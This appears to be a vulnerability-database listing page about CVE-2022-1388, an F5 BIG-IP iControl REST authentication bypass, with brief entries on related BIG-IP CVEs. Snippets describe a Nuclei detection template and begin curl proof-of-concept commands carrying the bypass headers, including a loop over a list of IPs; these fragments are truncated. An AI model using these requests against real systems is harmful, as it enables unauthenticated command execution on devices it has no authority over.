Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Nuclei模板 CVE-2022-1388 BIG-IP iControl REST 暴露 May 06, 2022 这仅通过访问认证端点来验证API的存在 该漏洞可能允许未经身份验证的攻击者通过网络访问BIG-IP系统的管理端口和/或自IP地址，从而执行任意系统命令、创建或删除文件，或禁用服务。没有数据平面暴露风险；仅为控制平面问题。 此模板是一个简单的检查 发送请求： 路径 BaseURL/mgmt/shared/authn/login 匹配条件： 关键词： "resterrorresponse" "message" 状态码： 401 POC 手动验证 curl -sk...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST の脆弱性 CVE-2022-1388 使用方法 このPOCは検証済みです！ curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

CVE-2022-1388

BIG-IP iControl REST 脆弱性 CVE-2022-1388 PoC この脆弱性により、管理ポートやセルフIPアドレスを介してBIG-IPシステムにネットワークアクセスできる認証されていない攻撃者が、任意のシステムコマンドの実行、ファイルの作成・削除、またはサービスの無効化を行う可能性があります。 PoC 以下のcurlワンライナーを使用してF5 Big-IPの脆弱性を確認するか、提供されているPythonスクリプトを使用することができます。 cat ips.txt | while read ip; do curl -su admin -H "Content-Type:...

CVE-2026-42058

An authenticated attacker's undisclosed requests to BIG-IP iControl REST can lead to an information leak of BIG-IP local user account names. Note: Software versions which have reached End of Technical Support EoTS are not evaluated...

CVE-2026-42058 BIG-IP iControl REST vulnerability

An authenticated attacker's undisclosed requests to BIG-IP iControl REST can lead to an information leak of BIG-IP local user account names. Note: Software versions which have reached End of Technical Support EoTS are not evaluated...

EUVD-2024-39167

Malicious code in bioql PyPI...

CVE-2025-23239

CVE-2025-23239 affects BIG-IP iControl REST. In Appliance mode, an authenticated user with high privileges can exploit an undisclosed iControl REST endpoint to execute arbitrary commands, crossing a security boundary. Impact is command injection on the control plane with administrator-like privil...

CVE-2024-41723: Exposure of Sensitive Information to an Unauthorized Actor

Undisclosed requests to BIG-IP iControl REST can lead to information leak of user account names. Note: Software versions which have reached End of Technical Support EoTS are not evaluated...